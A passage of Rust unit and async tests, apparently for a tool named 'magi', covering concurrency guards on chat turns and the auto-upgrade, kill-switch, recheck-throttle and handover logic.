24641            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24642        )
24643        .expect("script");
24644        let mut cfg = stub_config();
24645        cfg.agents[0].id = "mock".to_owned();
24646        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24647        cfg.agents[0].env = std::collections::BTreeMap::from([
24648            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24649            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24650        ]);
24651        let questions = ui.questions.clone();
24652        let cli_talks = Talks::at(ui.home.join("talks"));
24653        let cli_q = q.clone();
24654        let turn = tokio::spawn(async move {
24655            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24656        });
24657        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24658            while !started.exists() {
24659                tokio::time::sleep(Duration::from_millis(10)).await;
24660            }
24661        })
24662        .await;
24663        // Always release and join the agent, even if readiness or the web
24664        // request fails, so a failed assertion cannot leave a turn behind.
24665        let refusal = if ready.is_ok() {
24666            let before = consult_snapshot(&ui, &q, &id);
24667            let result = talk_say(
24668                State(Arc::clone(&ui)),
24669                Path(id.clone()),
24670                Ok(Json(NewTalkTurn {
24671                    reply_to: None,
24672                    text: "another message".to_owned(),
24673                    attachments: Vec::new(),
24674                })),
24675            )
24676            .await;
24677            Some((result, before, consult_snapshot(&ui, &q, &id)))
24678        } else {
24679            None
24680        };
24681        std::fs::write(&release, "").expect("release agent");
24682        let done = turn.await.expect("join CLI turn");
24683        ready.expect("agent started before deadline");
24684        let (result, before, after) = refusal.expect("web request");
24685        let error = result.expect_err("web must refuse the CLI's turn");
24686        assert_eq!(error.status, StatusCode::CONFLICT);
24687        assert!(error.message.contains("a turn is already running"));
24688        assert_eq!(
24689            after, before,
24690            "refusal preserves question, draft and history"
24691        );
24692        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24693        let guard = ui
24694            .begin_talk_turn(&id)
24695            .expect("web claim")
24696            .expect("free again");
24697        drop(guard);
24698    }
24699
24700    #[test]
24701    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24702        let home = TempDir::new().expect("temp home");
24703        let talks = Talks::at(home.path().join("talks"));
24704        let ui = Ui::new(
24705            Queue::at(home.path().join("queue")),
24706            Questions::at(home.path().join("questions")),
24707            talks.clone(),
24708            home.path().join("runs"),
24709            home.path().to_path_buf(),
24710            PathBuf::from("/repo"),
24711        )
24712        .with_worktrees_root(home.path().join("wt"));
24713        let id = "20260901-000000-order";
24714        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24715        // Hold the slot mutex so the drop can finish the lease but not the slot.
24716        let slots = ui.talk_turns.lock().unwrap();
24717        let dropper = std::thread::spawn(move || drop(turn));
24718        let start = std::time::Instant::now();
24719        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24720            std::thread::sleep(Duration::from_millis(5));
24721        }
24722        assert!(!talks.turn_held(id), "the lease is released first");
24723        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24724        drop(slots);
24725        dropper.join().expect("join");
24726        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24727    }
24728
24729    #[tokio::test]
24730    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24731        let fx = Fixture::start().await;
24732        let mut beat = crate::daemon::Status::new();
24733        beat.worker_protocol = None;
24734        beat.pid = 4321;
24735        beat.updated_at = jiff::Timestamp::now();
24736        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24737            .expect("publish a heartbeat");
24738
24739        let res = fx.post("/api/upgrade", None).await;
24740        assert_eq!(res.status, 409);
24741    }
24742
24743    /// [`should_spawn_recheck`] must refuse for the same two reasons
24744    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24745    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24746    /// Purely a predicate over config and the environment - no network, no
24747    /// disk, no runtime - so unlike the fixture-based tests around it this
24748    /// one needs neither.
24749    #[test]
24750    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24751        assert!(!should_spawn_recheck(&crate::config::Update {
24752            mode: UpdateMode::Off,
24753            interval: None,
24754            auto_restart: false,
24755        }));
24756
24757        // SAFETY: single-threaded as far as this variable goes, the same
24758        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24759        unsafe {
24760            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24761        }
24762        let killed = should_spawn_recheck(&crate::config::Update {
24763            mode: UpdateMode::Notify,
24764            interval: None,
24765            auto_restart: false,
24766        });
24767        unsafe {
24768            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24769        }
24770        assert!(
24771            !killed,
24772            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24773             one-time startup check"
24774        );
24775
24776        assert!(should_spawn_recheck(&crate::config::Update {
24777            mode: UpdateMode::Notify,
24778            interval: None,
24779            auto_restart: false,
24780        }));
24781    }
24782
24783    /// [`recheck_poll_period`] must track a configured `[update] interval`
24784    /// shorter than its own default ceiling - a fixed sleep here would leave
24785    /// an operator's short interval waiting on the next wake-up instead of on
24786    /// `should_check`, which is the same bug this whole task exists to fix,
24787    /// just one level down.
24788    #[test]
24789    fn recheck_poll_period_tracks_a_short_configured_interval() {
24790        let short = crate::config::Update {
24791            mode: UpdateMode::Notify,
24792            interval: Some("1m".to_owned()),
24793            auto_restart: false,
24794        };
24795        let period = recheck_poll_period(&short);
24796        assert!(
24797            period <= Duration::from_secs(30),
24798            "a one-minute interval must wake the task far sooner than the \
24799             default ceiling, or the deck would not notice within the \
24800             interval the operator configured: got {period:?}"
24801        );
24802
24803        let default = crate::config::Update {
24804            mode: UpdateMode::Notify,
24805            interval: None,
24806            auto_restart: false,
24807        };
24808        assert_eq!(
24809            recheck_poll_period(&default),
24810            UPDATE_RECHECK_POLL_MAX,
24811            "the default day-long interval should poll at the (capped) \
24812             ceiling rather than needlessly often"
24813        );
24814    }
24815
24816    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24817    /// same throttle `updater::Checker::should_check` already gives the
24818    /// CLI's notify mode. Built over an explicit state file via
24819    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24820    /// write the operator's real `last_update_check.json` - and therefore
24821    /// cannot flake on whatever that file happens to say on the machine
24822    /// running the test.
24823    #[test]
24824    fn recheck_skips_the_network_before_the_interval_elapses() {
24825        let dir = TempDir::new().expect("temp dir");
24826        let path = dir.path().join("state.json");
24827        let state = kaishin::UpdateCheckState {
24828            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24829            last_known_latest: None,
24830            last_known_url: None,
24831        };
24832        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24833
24834        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24835        assert!(
24836            !update_recheck_due(&checker, None),
24837            "a check made moments ago must not be repeated before the \
24838             configured interval elapses"
24839        );
24840    }
24841
24842    /// An upgrade this deck already started must not be raced by a recheck
24843    /// that discovers a newer release mid-install - regardless of what
24844    /// `should_check` says, which is why the state file here is missing
24845    /// entirely: read alone, that alone would answer "never checked, go
24846    /// ahead".
24847    #[test]
24848    fn recheck_defers_to_an_upgrade_already_in_flight() {
24849        let dir = TempDir::new().expect("temp dir");
24850        let path = dir.path().join("state.json");
24851        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24852        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24853
24854        assert!(
24855            !update_recheck_due(&checker, Some(&progress)),
24856            "a recheck must not run while an upgrade this deck started is \
24857             still moving"
24858        );
24859    }
24860
24861    #[tokio::test]
24862    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24863        // The same env var the background check honours (`disabled_by_env`)
24864        // must also stop a button press before it ever calls
24865        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24866        // means "never contact GitHub from this process", and a tap on the
24867        // upgrade button must not override that any more than a broken
24868        // `magi.toml` may. Left unset, this fixture's default config would
24869        // otherwise reach a real, unauthenticated GitHub call.
24870        //
24871        // SAFETY: single-threaded as far as this variable goes - nothing else
24872        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24873        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24874        unsafe {
24875            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24876        }
24877        let fx = Fixture::start().await;
24878        let res = fx.post("/api/upgrade", None).await;
24879        unsafe {
24880            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24881        }
24882        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24883        let body = res.json();
24884        assert!(body["to"].is_null(), "there was no release to move to");
24885        assert!(body["parked"].is_null(), "and nothing was parked");
24886        assert!(
24887            body["detail"]
24888                .as_str()
24889                .unwrap()
24890                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24891            "{body:?}"
24892        );
24893    }
24894
24895    #[test]
24896    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24897        use AutoUpgradeDecision::{Skip, Trigger};
24898        let mut cfg = Update::default();
24899        assert!(matches!(
24900            auto_upgrade_decision(&cfg, false, false, "v2", None),
24901            Skip(_)
24902        ));
24903        cfg.auto_restart = true;
24904        assert_eq!(
24905            auto_upgrade_decision(&cfg, false, false, "v2", None),
24906            Trigger
24907        );
24908        for (disabled, moving, failed) in [
24909            (true, false, None),
24910            (false, true, None),
24911            (false, false, Some("v2")),
24912        ] {
24913            assert!(matches!(
24914                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24915                Skip(_)
24916            ));
24917        }
24918        assert_eq!(
24919            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24920            Trigger
24921        );
24922        cfg.mode = UpdateMode::Off;
24923        assert!(matches!(
24924            auto_upgrade_decision(&cfg, false, false, "v2", None),
24925            Skip(_)
24926        ));
24927    }
24928
24929    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24930        Box::pin(async { anyhow::bail!("test installer failed") })
24931    }
24932
24933    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24934        std::sync::LazyLock::new(Mutex::default);
24935
24936    fn test_replace_and_signal_handover(
24937        home: PathBuf,
24938    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24939        Box::pin(async move {
24940            if let Some(mut progress) = updater::read_progress(&home) {
24941                progress.advance(updater::Stage::Replaced);
24942                updater::write_progress_logged(&home, &progress);
24943            }
24944            if let Some(signal) = TEST_AUTO_HANDOVERS
24945                .lock()
24946                .unwrap_or_else(PoisonError::into_inner)
24947                .remove(&home)
24948            {
24949                signal.notify_one();
24950            }
24951            Ok(())
24952        })
24953    }
24954
24955    #[tokio::test]
24956    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24957        let home = TempDir::new().unwrap();
24958        let mut ui = idle_ui(&home);
24959        ui.repo = home.path().to_path_buf();
24960        // Every successful trigger in this test uses this seam, never the installer.
24961        ui.upgrade_runner = fail_test_upgrade;
24962        let ui = Arc::new(ui);
24963        let latest = |tag: &str| {
24964            Some(kaishin::LatestRelease {
24965                tag_name: tag.into(),
24966                html_url: String::new(),
24967            })
24968        };
24969
24970        // Opt-in default (`auto_restart = false`) does nothing.
24971        assert_eq!(
24972            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24973                .await
24974                .status(),
24975            StatusCode::NO_CONTENT
24976        );
24977        assert!(updater::read_progress(home.path()).is_none());
24978
24979        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24980        std::fs::write(
24981            home.path().join("magi.toml"),
24982            "[update]\nmode = \"off\"\nauto_restart = true\n",
24983        )
24984        .unwrap();
24985        assert_eq!(
24986            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24987                .await
24988                .status(),
24989            StatusCode::NO_CONTENT
24990        );
24991        assert!(updater::read_progress(home.path()).is_none());
24992
24993        std::fs::write(
24994            home.path().join("magi.toml"),
24995            "[update]\nauto_restart = true\n",
24996        )
24997        .unwrap();
24998
24999        // Missing detected release skips without re-querying.
25000        assert_eq!(
25001            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
25002                .await
25003                .status(),
25004            StatusCode::NO_CONTENT
25005        );
25006        assert!(updater::read_progress(home.path()).is_none());
25007
25008        // Legacy embedded scheduler is still refused.
25009        let legacy_pid = std::process::id().wrapping_add(1).max(1);
25010        std::fs::write(
25011            home.path().join("daemon.json"),
25012            serde_json::json!({
25013                "schema": 2,
25014                "pid": legacy_pid,
25015                "updated_at": Timestamp::now().to_string(),
25016                "idle": true,
25017            })
25018            .to_string(),
25019        )
25020        .unwrap();
25021        assert_eq!(
25022            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25023                .await
25024                .status(),
25025            StatusCode::CONFLICT
25026        );
25027        assert!(updater::read_progress(home.path()).is_none());
25028        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
25029
25030        // Concurrent upgrade guard refuses while the request gate is held.
25031        let gate = ui.upgrade_gate.lock().await;
25032        assert_eq!(
25033            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25034                .await
25035                .status(),
25036            StatusCode::CONFLICT
25037        );
25038        drop(gate);
25039
25040        // Active chat turns no longer defer automatic upgrades.
25041        ui.talk_turns.lock().unwrap().live.insert("busy".into());
25042        assert_eq!(
25043            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25044                .await
25045                .status(),
25046            StatusCode::ACCEPTED
25047        );
25048        let progress = updater::read_progress(home.path()).unwrap();
25049        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
25050        assert_eq!(progress.stage, updater::Stage::Downloading);
25051        assert_eq!(
25052            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
25053                .await
25054                .status(),
25055            StatusCode::CONFLICT
25056        );
25057        assert!(progress.parked_run.is_none());
25058        assert!(ui.start_detached_loop().await.is_err());
25059        assert!(ui.start_loop(None).is_err());
25060        assert!(ui.begin_resume("late").is_err());
25061        assert_eq!(
25062            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25063                .await
25064                .status(),
25065            StatusCode::NO_CONTENT
25066        );
25067        tokio::time::timeout(Duration::from_secs(2), async {
25068            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25069                tokio::task::yield_now().await;
25070            }
25071        })
25072        .await
25073        .unwrap();
25074        let progress = updater::read_progress(home.path()).unwrap();
25075        assert_eq!(progress.stage, updater::Stage::Failed);
25076
25077        // Same-release failure is suppressed for automatic retries.
25078        assert_eq!(
25079            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
25080                .await
25081                .status(),
25082            StatusCode::NO_CONTENT
25083        );
25084
25085        // Manual retry still uses the shared path for the same tag.
25086        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
25087        assert_eq!(
25088            finish_upgrade_request(&ui, result).status(),
25089            StatusCode::ACCEPTED
25090        );
25091        assert_eq!(
25092            updater::read_progress(home.path()).unwrap().trigger,
25093            updater::UpgradeTrigger::Manual
25094        );
25095        tokio::time::timeout(Duration::from_secs(2), async {
25096            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25097                tokio::task::yield_now().await;
25098            }
25099        })
25100        .await
25101        .unwrap();
25102
25103        // A newer release tag clears suppression for automatic updates.
25104        assert_eq!(
25105            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
25106                .await
25107                .status(),
25108            StatusCode::ACCEPTED
25109        );
25110        assert_eq!(
25111            updater::read_progress(home.path()).unwrap().trigger,
25112            updater::UpgradeTrigger::Auto
25113        );
25114        tokio::time::timeout(Duration::from_secs(2), async {
25115            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25116                tokio::task::yield_now().await;
25117            }
25118        })
25119        .await
25120        .unwrap();
25121    }
25122
25123    #[tokio::test]
25124    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25125        let home = TempDir::new().unwrap();
25126        std::fs::write(
25127            home.path().join("magi.toml"),
25128            "[update]\nauto_restart = true\n",
25129        )
25130        .unwrap();
25131        let mut ui = idle_ui(&home);
25132        ui.repo = home.path().to_path_buf();
25133        ui.upgrade_runner = test_replace_and_signal_handover;
25134        let ui = Arc::new(ui);
25135
25136        let workers = [
25137            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25138            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25139            (
25140                "333333",
25141                3_u64,
25142                "daemon-service",
25143                "service:maintenance",
25144                41_003_u32,
25145            ),
25146        ];
25147        let mut exec_leases = Vec::new();
25148        for (id, sequence, kind, key, pid) in workers {
25149            let dir = home.path().join("workers/jobs").join(id);
25150            std::fs::create_dir_all(&dir).unwrap();
25151            let payload = if kind == "chat" {
25152                serde_json::json!({ "talk": "active-chat" })
25153            } else {
25154                serde_json::json!({})
25155            };
25156            let job = crate::worker::Job {
25157                id: id.into(),
25158                sequence,
25159                kind: kind.into(),
25160                key: key.into(),
25161                payload,
25162                generation: "gen-old".into(),
25163                version: Some("0.1.0".into()),
25164                status: crate::worker::Status::Running,
25165                result: None,
25166                pid: Some(pid),
25167                created_at: 1,
25168                finished_at: None,
25169            };
25170            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25171            exec_leases.push(crate::worker::execution_lease_for_test(
25172                &dir.join("live.lock"),
25173            ));
25174        }
25175        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25176            .unwrap()
25177            .expect("free task lease");
25178        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25179            .unwrap()
25180            .expect("free chat worker lease");
25181        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25182            .unwrap()
25183            .expect("free service lease");
25184        let chat_turn = ui
25185            .begin_talk_turn("active-chat-turn")
25186            .expect("claim chat turn")
25187            .expect("free chat turn");
25188        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25189
25190        // An unreadable reservation must defer replacement, not look like an
25191        // idle scheduler. Once repaired, the same release can still proceed.
25192        let corrupt = home.path().join("workers/jobs/444444");
25193        std::fs::create_dir_all(&corrupt).unwrap();
25194        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25195        let latest = || {
25196            Some(kaishin::LatestRelease {
25197                tag_name: "v999.0.0".into(),
25198                html_url: String::new(),
25199            })
25200        };
25201        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25202        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25203        assert!(updater::read_progress(home.path()).is_none());
25204        std::fs::remove_dir_all(corrupt).unwrap();
25205
25206        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25207            .await
25208            .expect("bind loopback");
25209        let address = listener.local_addr().expect("address");
25210        let served =
25211            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25212
25213        let handover_signal = Arc::new(Notify::new());
25214        TEST_AUTO_HANDOVERS
25215            .lock()
25216            .unwrap_or_else(PoisonError::into_inner)
25217            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25218
25219        let admission = ui.begin_admission().expect("admit");
25220        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25221        assert_eq!(response.status(), StatusCode::ACCEPTED);
25222        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25223            .await
25224            .expect("auto upgrade runner must reach handover");
25225        let replaced = updater::read_progress(home.path()).unwrap();
25226        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25227        assert_eq!(replaced.stage, updater::Stage::Replaced);
25228
25229        let successor_started = std::sync::atomic::AtomicBool::new(false);
25230        let handover = hand_over(home.path(), &ui.admissions, served, || {
25231            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25232            Ok(1)
25233        });
25234        tokio::pin!(handover);
25235        // Short admission drain still waits for an in-flight persistence/reservation guard.
25236        std::future::poll_fn(|cx| {
25237            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25238            std::task::Poll::Ready(())
25239        })
25240        .await;
25241        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25242        assert!(ui.begin_admission().is_err());
25243
25244        drop(admission);
25245        tokio::time::timeout(Duration::from_secs(2), handover)
25246            .await
25247            .expect("automatic handover must not wait for active workers")
25248            .expect("handover");
25249        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25250
25251        let successor = bind_waiting(address)
25252            .await
25253            .expect("successor binds released address");
25254        assert_eq!(successor.local_addr().unwrap(), address);
25255
25256        let restarting = updater::read_progress(home.path()).unwrap();
25257        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25258        assert_eq!(restarting.stage, updater::Stage::Restarting);
25259        assert!(restarting.parked_run.is_none());
25260        assert!(restarting.parked_talks.is_empty());
25261
25262        let active_after = crate::worker::observe_active(home.path()).unwrap();
25263        assert_eq!(active_after.len(), 3);
25264        for (id, _, kind, key, pid) in workers {
25265            let job = active_after
25266                .iter()
25267                .find(|job| job.id == id)
25268                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25269            assert_eq!(job.kind, kind);
25270            assert_eq!(job.pid, Some(pid));
25271            assert_eq!(job.generation, "gen-old");
25272            assert_eq!(job.status, crate::worker::Status::Running);
25273            assert!(
25274                crate::worker::control(home.path(), key).unwrap().is_none(),
25275                "no park/stop control may be requested for {key}"
25276            );
25277        }
25278        assert!(
25279            !home.path().join("worker-parks").exists(),
25280            "automatic handover must never request worker parks"
25281        );
25282        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25283        assert!(
25284            crate::worker::try_lease(home.path(), "task:active-task")
25285                .unwrap()
25286                .is_none()
25287        );
25288        assert!(
25289            crate::worker::try_lease(home.path(), "chat:active-chat")
25290                .unwrap()
25291                .is_none()
25292        );
25293        assert!(
25294            crate::worker::try_lease(home.path(), "service:maintenance")
25295                .unwrap()
25296                .is_none()
25297        );
25298
25299        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25300        assert!(
25301            log.contains("auto-upgrade: beginning update and restart"),
25302            "{log}"
25303        );
25304        assert!(!log.contains("waiting for idle"), "{log}");
25305        assert!(!log.contains("idle;"), "{log}");
25306
25307        drop(successor);
25308        drop(chat_turn);
25309        drop(service_lease);
25310        drop(chat_lease);
25311        drop(task_lease);
25312        drop(exec_leases);
25313    }
25314
25315    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25316        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25317        p.stage = stage;
25318        p
25319    }
25320
25321    #[test]
25322    fn busy_stages_match_the_ui_set() {
25323        use crate::updater::Stage;
25324        assert!(APP_JS.contains(
25325            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25326        ));
25327        for s in [
25328            Stage::Downloading,
25329            Stage::Replaced,
25330            Stage::Parking,
25331            Stage::Restarting,
25332        ] {
25333            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25334        }
25335        for s in [Stage::Done, Stage::Failed] {
25336            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25337        }
25338        assert!(upgrade_in_motion(None).is_none());
25339    }
25340
25341    #[tokio::test]
25342    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25343        use crate::updater::Stage;
25344        for stage in [
25345            Stage::Downloading,
25346            Stage::Replaced,
25347            Stage::Parking,
25348            Stage::Restarting,
25349        ] {
25350            let fx = Fixture::start().await;
25351            let seeded = seeded_progress(stage);
25352            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25353            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25354                .expect("read");
25355
25356            let res = fx.post("/api/upgrade", None).await;
25357            assert_eq!(res.status, 409, "{stage:?}");
25358            let err = res.json()["error"].as_str().unwrap().to_owned();
25359            assert!(err.contains("already in progress"), "{err}");
25360            assert!(err.contains(stage.as_str()), "{err}");
25361
25362            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25363                .expect("read");
25364            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25365            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25366                .unwrap_or_default();
25367            assert!(!log.contains("signalling HANDOVER"), "{log}");
25368        }
25369    }
25370
25371    #[test]
25372    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25373        assert_eq!(
25374            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25375            Some(3723)
25376        );
25377        assert_eq!(
25378            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25379            Some(60)
25380        );
25381        assert_eq!(
25382            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25383            Some(0)
25384        );
25385        for message in [
25386            "permission denied",
25387            "GitHub API rate limit exceeded",
25388            "GitHub rate limit (resets in unknown)",
25389            "GitHub rate limit (resets in 18446744073709551615d)",
25390        ] {
25391            assert_eq!(upgrade_retry_after(message), None, "{message}");
25392        }
25393    }
25394
25395    #[tokio::test]
25396    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25397        let home = TempDir::new().unwrap();
25398        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25399        ui.start_loop(None).unwrap();
25400        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25401        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25402        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25403        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25404        let response = finish_upgrade_request(&ui, result);
25405        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25406        assert_eq!(response.headers()["retry-after"], "120");
25407        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25408            .await
25409            .unwrap();
25410        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25411        assert!(body["error"].as_str().unwrap().contains(reason));
25412        assert_eq!(body["retry_after_secs"], 120);
25413        assert!(body["retry_at"].as_u64().is_some());
25414        for _ in 0..2 {
25415            let view = health(State(ui.clone())).await.unwrap().0;
25416            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25417            assert_eq!(failure, body);
25418        }
25419        assert_eq!(
25420            std::fs::read(updater::progress_path(home.path())).unwrap(),
25421            before
25422        );
25423        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25424        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25425        // A conflicting request must not erase the actionable earlier failure.
25426        let gate = ui.upgrade_gate.lock().await;
25427        assert_eq!(
25428            upgrade_post(State(ui.clone())).await.status(),
25429            StatusCode::CONFLICT
25430        );
25431        drop(gate);
25432        assert!(
25433            health(State(ui.clone()))
25434                .await
25435                .unwrap()
25436                .0
25437                .upgrade_request_error
25438                .is_some()
25439        );
25440        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25441        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25442        assert!(
25443            health(State(ui.clone()))
25444                .await
25445                .unwrap()
25446                .0
25447                .upgrade_request_error
25448                .is_none()
25449        );
25450        let live = ui.lock_loop().live.take().unwrap();
25451        live.stop.stop();
25452        live.handle.await.unwrap();
25453    }
25454
25455    #[tokio::test]
25456    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25457        use crate::updater::Stage;
25458        let repo = TempDir::new().expect("repo dir");
25459        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25460            .expect("write magi.toml");
25461        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25462        for stage in [Stage::Done, Stage::Failed] {
25463            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25464            let res = fx.post("/api/upgrade", None).await;
25465            assert_eq!(res.status, 200, "{stage:?}");
25466        }
25467        // No record at all, and the gate was released by the earlier calls.
25468        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25469        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25470    }
25471
25472    #[tokio::test]
25473    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25474        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25475        // and the route answers from its own logic.
25476        //
25477        // This test used to lean on the fixture's placeholder repo failing
25478        // config discovery, which left `mode = "notify"` - and a live,
25479        // unauthenticated call to the GitHub releases API inside a unit test.
25480        // GitHub allows 60 of those an hour per address, so the suite went red
25481        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25482        // long as somebody kept re-running it: every attempt spent another
25483        // request. Six reruns across four pull requests were charged to that
25484        // before it was read as a rate limit rather than a flake.
25485        //
25486        // What the assertion is about is the "already current" branch, which
25487        // is reached by there being no newer release *or* nowhere to look. The
25488        // second one needs no network and cannot be rate limited.
25489        let repo = TempDir::new().expect("repo dir");
25490        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25491            .expect("write magi.toml");
25492        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25493
25494        // It must answer 200 and leave the process alone: restarting for an
